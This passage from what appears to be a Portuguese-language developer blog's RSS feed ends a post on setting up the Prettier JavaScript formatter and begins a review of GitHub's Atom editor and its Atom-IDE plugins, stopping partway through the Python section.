&lt;p&gt;Com &quot;estilo comum de escrita&quot; não estamos falando necessariamente de qualidade de código. Por exemplo, o &lt;em&gt;Prettier&lt;/em&gt; não está preocupado com variáveis sendo usadas antes de serem declaradas. Para isso existe os &lt;a href=&quot;/tag/qualidade.html&quot; title=&quot;Leia mais sobre qualidade de código&quot;&gt;&lt;em&gt;linters&lt;/em&gt;&lt;/a&gt;, e no caso do &lt;em&gt;Javascript&lt;/em&gt; o &lt;a href=&quot;https://eslint.org/&quot; title=&quot;The pluggable linting utility for JavaScript and JSX&quot;&gt;&lt;em&gt;ESLint&lt;/em&gt;&lt;/a&gt; é (provavelmente) a opção mais famosa. Por outro lado, ele estará preocupado com a quantidade de espaços em branco, quantidade de caracteres por linha, uso de vírgulas, etc. Tópicos que geralmente demandam energia durante um &lt;em&gt;code review&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;E talvez esse seja o ponto marcante por trás do &lt;em&gt;Prettier&lt;/em&gt;. Diretamente da &lt;a href=&quot;https://prettier.io/docs/en/option-philosophy.html&quot; title=&quot;Option Philosophy&quot;&gt;página que fala sobre a filosofia da ferramenta&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;By far the biggest reason for adopting Prettier is to stop all the on-going debates over styles.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Na prática&lt;/h2&gt;
&lt;p&gt;A ferramenta é escrita em &lt;em&gt;Node.js&lt;/em&gt;, portanto, um &lt;code class=&quot;language-text&quot;&gt;npm install&lt;/code&gt; é o suficiente para tê-la em seu ambiente:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ npm install --global prettier&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A documentação da ferramenta sugere &quot;pinnar&quot; a versão exata no &lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt; do seu projeto, uma vez que diferentes versões podem ter diferentes sugestões de escrita.&lt;/p&gt;
&lt;p&gt;Com o utilitário de linha de comando, basta executarmos passando o arquivo &lt;em&gt;JS&lt;/em&gt; desejado como parâmetro:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ prettier file.js

function HelloWorld({
    greeting = &quot;hello&quot;,
    greeted = &apos;&quot;World&quot;&apos;,
    silent = false,
onMouseOver
}) {
    if (!greeting) {
        return null;
    }

    // TODO: Don&apos;t use random in render
    let num = Math.floor(Math.random() * 1e7)
        .toString()
        .replace(/\.\d+/gi, &quot;&quot;);

    return (
        &amp;lt;div
        className=&quot;HelloWorld&quot;
        title={`You are visitor number ${num}`}
        onMouseOver={onMouseOver}
        &gt;
        &amp;lt;strong&gt;
            {greeting.slice(0, 1).toUpperCase() + greeting.slice(1).toLowerCase()}
        &amp;lt;/strong&gt;
        {greeting.endsWith(&quot;,&quot;) ? (
            &quot; &quot;
        ) : (
            &amp;lt;span style={{ color: &quot;grey&quot; }}&gt;&quot;, &quot;&amp;lt;/span&gt;
        )}
        &amp;lt;em&gt;{greeted}&amp;lt;/em&gt;
        {silent ? &quot;.&quot; : &quot;!&quot;}
        &amp;lt;/div&gt;
    );
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;output&lt;/em&gt; é o conteúdo do seu arquivo já formatado. Se quiser a alteração &quot;in-place&quot;, temos a opção &lt;code class=&quot;language-text&quot;&gt;--write&lt;/code&gt; disponível.&lt;/p&gt;
&lt;p&gt;É possível customizar a ferramenta de acordo com as suas escolhas &lt;a href=&quot;https://prettier.io/docs/en/options.html&quot; title=&quot;Options&quot;&gt;passando argumentos durante sua chamada&lt;/a&gt;. No exemplo abaixo, queremos formatar o arquivo &lt;code class=&quot;language-text&quot;&gt;file.js&lt;/code&gt; sem &lt;em&gt;semicolons&lt;/em&gt; no final das linhas, e com &lt;em&gt;single quotes&lt;/em&gt; ao invés de &lt;em&gt;double quotes&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ prettier --no-semi --single-quote file.js&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O mais recomendado é a criação de um &lt;a href=&quot;https://prettier.io/docs/en/configuration.html&quot; title=&quot;Configuration file&quot;&gt;arquivo de configuração&lt;/a&gt; (geralmente chamado de &lt;code class=&quot;language-text&quot;&gt;.prettierrc&lt;/code&gt;), com todas a regras explícitas:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;trailingComma&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;es5&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;tabWidth&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;semi&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;singleQuote&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Na prática (de verdade)&lt;/h2&gt;
&lt;p&gt;É inviável ir na linha de comando e executar a ferramenta toda a vez que você alterar o seu código. Uma opção mais eficiente é deixar com que o seu editor ou &lt;em&gt;IDE&lt;/em&gt; tome conta desse processo.&lt;/p&gt;
&lt;p&gt;Os principais editores do mercado possuem suporte ao &lt;em&gt;Prettier&lt;/em&gt;, como pode ser visto em &lt;a href=&quot;https://prettier.io/docs/en/editors.html&quot; title=&quot;Leia na documentação da ferramenta&quot;&gt;Editor Integration&lt;/a&gt;. Para o &lt;a href=&quot;/tag/vim.html&quot; title=&quot;Leia mais sobre Vim&quot;&gt;&lt;em&gt;Vim&lt;/em&gt;&lt;/a&gt;, recomendo o uso com o &lt;em&gt;plugin&lt;/em&gt; &lt;a href=&quot;https://github.com/w0rp/ale&quot; title=&quot;Asynchronous linting/fixing for Vim and Language Server Protocol (LSP) integration&quot;&gt;&lt;em&gt;Ale&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;É esperado que nem todo membro do seu projeto configurará o editor apropriadamente na primeira interação. Portanto, uma &quot;salvaguarda&quot; pode ser habilitar um &lt;em&gt;pre-commit hook&lt;/em&gt;. Com isso, ao executar &lt;code class=&quot;language-text&quot;&gt;git add&lt;/code&gt;, o &lt;em&gt;Prettier&lt;/em&gt; será executado automaticamente nos arquivos alterados pelo desenvolvedor. O capítulo &lt;a href=&quot;https://prettier.io/docs/en/precommit.html&quot; title=&quot;Leia na documentação oficial&quot;&gt;Pre-commit Hook&lt;/a&gt; da documentação oficial dá várias sugestões de uso. Para esse caso, simpatizo bastante com o &lt;a href=&quot;https://pre-commit.com/&quot; title=&quot;A framework for managing and maintaining multi-language pre-commit hooks&quot;&gt;pre-commit&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;ESLint vs Prettier? ESLint + Prettier!&lt;/h2&gt;
&lt;p&gt;Sabe o que é melhor que usar o &lt;em&gt;Prettier&lt;/em&gt;? É usar o &lt;em&gt;Prettier&lt;/em&gt; integrado com as regras que você já conhece do &lt;em&gt;ESlint&lt;/em&gt;. Obviamente que executar os dois em paralelo pode resultar em comportamentos inesperados. Existe inúmeros tutoriais na internet recomendando como fazer essas duas ferramentas funcionarem em conjunto.&lt;/p&gt;
&lt;p&gt;Recomendo o &lt;a href=&quot;https://blog.echobind.com/integrating-prettier-eslint-airbnb-style-guide-in-vscode-47f07b5d7d6a&quot; title=&quot;Leia o artigo original&quot;&gt;Integrating Prettier + ESLint + Airbnb Style Guide in VSCode&lt;/a&gt;, do &lt;em&gt;Echobind&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Não perca tempo tentando controlar &quot;na conversa&quot; o estilo de código do seu time ou projeto. Já passei por isso e não compensa o estresse e tempo investido. Adote uma ferramenta como o &lt;em&gt;Prettier&lt;/em&gt;, e reserve tempo e energia para coisas mais importantes, relacionados ao seu negócio ou produto.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.echobind.com/integrating-prettier-eslint-airbnb-style-guide-in-vscode-47f07b5d7d6a&quot;&gt;Echobind - Integrating Prettier + ESLint + Airbnb Style Guide in VSCode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.futurehosting.com/blog/prettier-vs-eslint-whats-the-difference/&quot;&gt;Future Hosting - Prettier vs Eslint: What&apos;s the difference?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@joshuacrass/javascript-linting-and-formatting-with-eslint-prettier-and-airbnb-30eb746db862&quot;&gt;Joshua Crass - Javascript Linting and Formatting with ESLint, Prettier, and Airbnb&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Atom: O simpático editor do GitHub]]></title><description><![CDATA[Tenho "peregrinado" por diferentes editores e IDEs nesses últimos meses. Além
do Vim, algumas "desventuras" com IntelliJ IDEA,
e uma…]]></description><link>https://klauslaube.com.br/2018/12/27/atom-o-simpatico-editor-do-github.html</link><guid isPermaLink="false">https://klauslaube.com.br/2018/12/27/atom-o-simpatico-editor-do-github.html</guid><pubDate>Thu, 27 Dec 2018 18:35:00 GMT</pubDate><content:encoded>&lt;p&gt;Tenho &quot;peregrinado&quot; por diferentes editores e &lt;em&gt;IDEs&lt;/em&gt; nesses últimos meses. Além
do &lt;a href=&quot;/tag/vim.html&quot; title=&quot;Leia mais sobre Vim&quot;&gt;Vim&lt;/a&gt;, algumas &quot;desventuras&quot; com &lt;em&gt;IntelliJ IDEA&lt;/em&gt;,
e &lt;a href=&quot;/2018/06/04/eu-me-rendo-vscode.html&quot; title=&quot;Eu me rendo: VS Code&quot;&gt;uma surpreendente experiência com o &lt;em&gt;VS Code&lt;/em&gt;&lt;/a&gt;,
tive a oportunidade de testar uma alternativa que sempre me deixou intrigado:
&lt;a href=&quot;https://atom.io/&quot; title=&quot;A hackable text editor for the 21st Century&quot;&gt;O &lt;em&gt;Atom&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Embora notícias recentes em relação ao editor sejam &quot;preocupantes&quot;, o veredicto
é o melhor possível. Recomendo desde já o uso, e abaixo dou mais detalhes
sobre essa minha conclusão.&lt;/p&gt;
&lt;h2&gt;O que é?&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Atom&lt;/em&gt; é um editor de textos, gratuito e de código aberto
(&lt;a href=&quot;https://en.wikipedia.org/wiki/MIT_License&quot; title=&quot;Leia mais sobre a MIT License&quot;&gt;&lt;em&gt;MIT&lt;/em&gt;&lt;/a&gt;),
construído em &lt;a href=&quot;https://github.com/electron/electron&quot; title=&quot;Leia mais sobre Electron&quot;&gt;&lt;em&gt;Electron&lt;/em&gt;&lt;/a&gt;
(portanto, multiplataforma) e mantido pelo &lt;em&gt;GitHub&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;O editor ganha vida através de
&lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;/&lt;a href=&quot;https://coffeescript.org/&quot; title=&quot;CoffeeScript is a little language that compiles into JavaScript&quot;&gt;&lt;em&gt;CoffeeScript&lt;/em&gt;&lt;/a&gt; e
&lt;a href=&quot;http://lesscss.org/&quot; title=&quot;It&amp;#x27;s CSS, with just a little more.&quot;&gt;&lt;em&gt;Less&lt;/em&gt;&lt;/a&gt;, e com essas
mesmas tecnologias é possível estendê-lo de maneira impressionante. Aliás, o
processo de customização é muito bem documentado, no
&lt;a href=&quot;https://flight-manual.atom.io/&quot; title=&quot;Leia mais na página oficial&quot;&gt;&lt;em&gt;Atom Flight Manual&lt;/em&gt;&lt;/a&gt;,
e escrever seus próprios &lt;em&gt;plugins&lt;/em&gt; tem uma curva de aprendizado mínima se você
já trabalhar com desenvolvimento &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Por padrão o &lt;em&gt;Atom&lt;/em&gt; oferece &lt;em&gt;syntax highlighting&lt;/em&gt; para uma grande gama de linguagens,
além de outros utilitários, como &lt;em&gt;fuzzy finder&lt;/em&gt;, &lt;em&gt;tree view&lt;/em&gt;, corretor ortográfico,
e um simples &lt;em&gt;auto-complete&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;O que há de bom?&lt;/h2&gt;
&lt;p&gt;Gosto muito do visual do &lt;em&gt;Atom&lt;/em&gt;. Na minha opinião, é um dos editores mais bonitos
disponíveis por aí. As fontes, cores (muito graças aos temas incríveis)
e ícones são renderizados de forma suave, e o &quot;conforto visual&quot; não pode deixar de ser
mencionado.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 540px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/50e04a4d83b30b55256874063176a78d/09d21/ant-man-atom.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 55.208333333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQCAwX/xAAVAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAAByLFJi4KE1//EABkQAQACAwAAAAAAAAAAAAAAAAEAAhARE//aAAgBAQABBQIakqtXq4Gbn//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABURAQEAAAAAAAAAAAAAAAAAAAAR/9oACAECAQE/AUf/xAAZEAADAAMAAAAAAAAAAAAAAAAAAREgIVH/2gAIAQEABj8C2qVHMP/EABwQAQACAQUAAAAAAAAAAAAAAAEAESEQMUFhcf/aAAgBAQABPyHPRdb6qOKjwGibXFPM/9oADAMBAAIAAwAAABAQL//EABYRAQEBAAAAAAAAAAAAAAAAAAAhEf/aAAgBAwEBPxDar//EABYRAQEBAAAAAAAAAAAAAAAAAAABEf/aAAgBAgEBPxCxh//EABwQAQACAwADAAAAAAAAAAAAAAEAESExQVFhsf/aAAgBAQABPxAinVwL67HlCtg6O5jhIUWPs5K+SglUq15n/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Imagem do personagem Homem-Formiga&amp;quot;&quot;
        title=&quot;Não tive criatividade para fazer uma referência melhor (collider.com)&quot;
        src=&quot;/static/50e04a4d83b30b55256874063176a78d/09d21/ant-man-atom.jpg&quot;
        srcset=&quot;/static/50e04a4d83b30b55256874063176a78d/7809d/ant-man-atom.jpg 192w,
/static/50e04a4d83b30b55256874063176a78d/4ecad/ant-man-atom.jpg 384w,
/static/50e04a4d83b30b55256874063176a78d/09d21/ant-man-atom.jpg 540w&quot;
        sizes=&quot;(max-width: 540px) 100vw, 540px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não tive criatividade para fazer uma referência melhor (collider.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Por vir com uma configuração mais &quot;básica&quot;
por &lt;em&gt;default&lt;/em&gt;, o editor é muito simples de usar. Sem requerer funções avançadas
(comuns em &lt;em&gt;IDEs&lt;/em&gt;, como &lt;em&gt;auto-complete&lt;/em&gt;, &lt;em&gt;debugging&lt;/em&gt; e &lt;em&gt;go to definition&lt;/em&gt;), basta
abrí-lo e começar a escrever código. Sem dúvida ele apresenta uma interface
mais amigável que outras opções no mercado.&lt;/p&gt;
&lt;p&gt;Como não há almoço grátis, o &lt;em&gt;Atom&lt;/em&gt; leva a fama de ser mais lento que
opções como &lt;em&gt;VS Code&lt;/em&gt; e &lt;em&gt;Vim&lt;/em&gt;. E embora o time de desenvolvedores
&lt;a href=&quot;https://blog.atom.io/2017/04/18/improving-startup-time.html&quot; title=&quot;Improving Startup time&quot;&gt;tenha trabalhado nessa questão&lt;/a&gt;,
é possível notar os &quot;soluços&quot; do editor em algumas ocasiões.&lt;/p&gt;
&lt;p&gt;A integração com &lt;em&gt;Git&lt;/em&gt; (e obviamente &lt;em&gt;GitHub&lt;/em&gt;) é bem interessante, e pode ajudar
bastante quem não tem intimidade com a linha de comando. E um extra bacana é o
&lt;a href=&quot;https://teletype.atom.io/&quot; title=&quot;Collaborate in real time in Atom&quot;&gt;&lt;em&gt;Teletype&lt;/em&gt;&lt;/a&gt;:
Pacote que vem com a distribuição padrão e que permite desenvolvedores colaborarem
em &lt;em&gt;real time&lt;/em&gt; com o código aberto no editor.&lt;/p&gt;
&lt;p&gt;Por falar em pacotes e extensões, talvez esse seja o ponto mais alto do editor.&lt;/p&gt;
&lt;p&gt;Dentre eles vale mencionar o &lt;a href=&quot;https://atom.io/packages/vim-mode-plus&quot; title=&quot;vim-mode improved&quot;&gt;&lt;em&gt;vim-mode-plus&lt;/em&gt;&lt;/a&gt;
e o &lt;a href=&quot;https://atom.io/packages/ex-mode&quot; title=&quot;Ex for Atom&amp;#x27;s vim-mode&quot;&gt;&lt;em&gt;ex-mode&lt;/em&gt;&lt;/a&gt;. Estes
trazem os &lt;em&gt;key bindings&lt;/em&gt; do &lt;em&gt;Vim&lt;/em&gt; para o &lt;em&gt;Atom&lt;/em&gt;. Eles funcionam extremamente bem
e é a &quot;experiência &lt;em&gt;Vim-like&lt;/em&gt;&quot; mais eficiente que já experimentei.&lt;/p&gt;
&lt;p&gt;Configurar um &lt;em&gt;set&lt;/em&gt; de &lt;em&gt;plugins&lt;/em&gt; para as suas linguagens favoritas pode
ser maçante e &lt;em&gt;error prone&lt;/em&gt;. O &lt;em&gt;VS Code&lt;/em&gt; resolveu isso através de &quot;plugins agregadores&quot;
que acabam instalando e configurando uma série de outros &lt;em&gt;plugins&lt;/em&gt; menores para você. No
&lt;em&gt;Atom&lt;/em&gt;, o &lt;em&gt;Atom-IDE&lt;/em&gt; se destaca nesse quesito.&lt;/p&gt;
&lt;h3&gt;Atom-IDE&lt;/h3&gt;
&lt;p&gt;O &lt;a href=&quot;https://ide.atom.io/&quot; title=&quot;Improve language integration&quot;&gt;&lt;em&gt;Atom-IDE&lt;/em&gt;&lt;/a&gt; é uma coletânea
de &lt;em&gt;plugins&lt;/em&gt; e funcionalidades que trazem características comuns em &lt;em&gt;IDEs&lt;/em&gt; para o
&lt;em&gt;Atom&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 540px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/8c1ea794b13328391f21a9d121f923f5/07484/atom-ide-ui.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACsUlEQVQ4y01U2XLbMBDTbzTTxrdunhJ1WD7i2Eknnclj3/r/X9ERiqWTtg8Ykg6FxWLBJLkKc6EDmuE0F6pFWlis0xqrCMW9wob7uGYC/QGFxTpDXjmUup0X6xyrXfU7KXUPb8+z1Sdof0Hd3WDCM2xzQO9GqGZC2R5R2RGFCsjrFlnVIOM+a5+wTDW+LVMsNsW83JYQwpmEsP4yV+FKwhc0zRHW7REI7UfkdkBpeuS6uxOWVOX3KKfX2AWVzURck0oUujNa94TgzzAd1fU3+HAi4YiSpCXVVrKnWlGZlp7kAdX0Hak7ChFEnawJPYS1R4zhFWM7oTIDLFETac2Pq/YvNmXD30QhCUVxeMJW9SSq/xFqRwIq7JszgrKEQ6s8Ot2gF5g75PzedvCmo39dHMpyW0Tc263vhBUrde4W2+27Izw9a10HS2JPEoEjrPY4uxaarRe0QJLAQWBBZTLhxXKDJc+JmKz9CXb/hnr6gYZteA7BcgCG7Ri2rnhWPK+lZU5YvtkxXjKwpjvA769w15/YFE4UDtB6z5hMGI+vCMMFw+EFisMwVFLLhDnRGJkPMomN/B72z7zDv9Gu4vqLVvQxNpzmc4xKP7H18QLDymKFkBb0q5A21T0yn5AChoWMnpBlBlmuWMgjkWpKD2g4mMDwalZuCS+q2KZkLmUrEpUdV2l1m1vIq3pcpLTqHTZc8PB1FX1NdmQuVMOLJhocM0XUjgpJmukDFflY/Q7HVzNElSmL5fRf4vW4zPhEFZK30M81o6OctCltNfRlguPERVFW9/+R+eif3JG1ZNuqHlCV7Syd7LgmRVricZ3HdyiSP1dR8ok0rj4qkrPckf2aManaW3xdXx4W5GAOGdBZPqAns1QWb2SNH3xkTQgEspcAb3Md75Ty34mFNrmed7kRv+c/dbrOedIEyCsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Atom-IDE UI&amp;quot;&quot;
        title=&quot;Atom-IDE UI&quot;
        src=&quot;/static/8c1ea794b13328391f21a9d121f923f5/07484/atom-ide-ui.png&quot;
        srcset=&quot;/static/8c1ea794b13328391f21a9d121f923f5/8514f/atom-ide-ui.png 192w,
/static/8c1ea794b13328391f21a9d121f923f5/804b2/atom-ide-ui.png 384w,
/static/8c1ea794b13328391f21a9d121f923f5/07484/atom-ide-ui.png 540w&quot;
        sizes=&quot;(max-width: 540px) 100vw, 540px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Atom-IDE UI&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Em uma colaboração entre &lt;em&gt;Facebook&lt;/em&gt; e &lt;em&gt;GitHub&lt;/em&gt;, tornou-se possível ter um &lt;em&gt;auto-complete&lt;/em&gt;
mais rico, &lt;em&gt;outline view&lt;/em&gt;, &lt;em&gt;go to definition&lt;/em&gt;, &lt;em&gt;find all references&lt;/em&gt;, &lt;em&gt;diagnosis&lt;/em&gt;,
&lt;em&gt;debugging&lt;/em&gt;, &lt;em&gt;document formatting&lt;/em&gt;, entre outras &lt;em&gt;features&lt;/em&gt; que você está acostumado a ver
em ferramentas como &lt;em&gt;Netbeans&lt;/em&gt; ou &lt;em&gt;Eclipse&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;A boa notícia é que existe uma grande quantidade de &lt;em&gt;plugins&lt;/em&gt; que dão &lt;a href=&quot;https://atom.io/packages/search?q=IDE&quot; title=&quot;Veja mais plugins de Atom-IDE&quot;&gt;suporte a diferentes linguagens&lt;/a&gt;. Por exemplo,
recentemente testei o &lt;a href=&quot;https://atom.io/packages/ide-elixir&quot; title=&quot;Plugin para o Elixir&quot;&gt;&lt;em&gt;ide-elixir&lt;/em&gt;&lt;/a&gt;
e foi uma experiência muito boa.&lt;/p&gt;
&lt;p&gt;Mas é claro que tem a má notícia...&lt;/p&gt;
&lt;h3&gt;Facebook deixa de dar suporte&lt;/h3&gt;
&lt;p&gt;Diretamente do &lt;a href=&quot;https://blog.atom.io/2018/12/12/facebook-retires-nuclide-extension.html&quot; title=&quot;Facebook retires Nuclide extension&quot;&gt;&lt;em&gt;Blog do Atom&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A few years ago, Facebook introduced Nuclide to provide a first-class IDE experience which included associated repos such as Atom IDE. Both Nuclide and Atom IDE were developed by Facebook and supported by an open source community. At this time, Facebook has decided to retire their open source efforts on Nuclide, the Atom IDE, and other associated repos. All of the source code will remain available in the Facebook Open Source Archives, and, if you’re interested, we encourage you to check it out and continue to build on top of it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Na prática não há motivos para pânico. Os &lt;em&gt;plugins&lt;/em&gt; que estendem o &lt;em&gt;Atom-IDE&lt;/em&gt;
para suportar diferentes linguagens são mantidos por diferentes pessoas da
comunidade. O &lt;em&gt;Facebook&lt;/em&gt; &quot;arquivou&quot; os repositórios do &lt;em&gt;Atom-IDE&lt;/em&gt; e &lt;em&gt;Nuclide&lt;/em&gt;,
mas seu código continua disponível. O &lt;em&gt;framework&lt;/em&gt; que foi montado
até aqui deve continuar funcionando sem maiores problemas. Possíveis melhorias e correções
dependerão de contribuições da comunidade. É esperar para ver se algum grande &lt;em&gt;player&lt;/em&gt; ficará
responsável por coordenar esse esforço.&lt;/p&gt;
&lt;p&gt;Mas com a compra do &lt;em&gt;GitHub&lt;/em&gt; pela &lt;em&gt;Microsoft&lt;/em&gt;,
o &lt;em&gt;VS Code&lt;/em&gt; (da mesma &lt;em&gt;Microsoft&lt;/em&gt;) &lt;a href=&quot;https://www.infoq.com/br/news/2018/12/the-rise-vscode&quot; title=&quot;A crescente adoção do Visual Studio Code&quot;&gt;ganhando cada vez mais usuários&lt;/a&gt;, e esse anúncio do
time &lt;em&gt;Nuclide&lt;/em&gt;, fica difícil não ficar com &lt;a href=&quot;https://news.ycombinator.com/item?id=18507817&quot; title=&quot;Is Atom now dead in the water?&quot;&gt;a pulga atrás da orelha&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Atom-IDE + Python&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;https://atom.io/packages/ide-python&quot;&gt;&lt;em&gt;ide-python&lt;/em&gt;&lt;/a&gt; é o &lt;em&gt;plugin&lt;/em&gt; para &lt;em&gt;Atom-IDE&lt;/em&gt;
que adiciona suporte à linguagem &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;
ao editor.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b38a64af74bbf2a5900251605e90d3d8/6af66/ide-python-ui.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
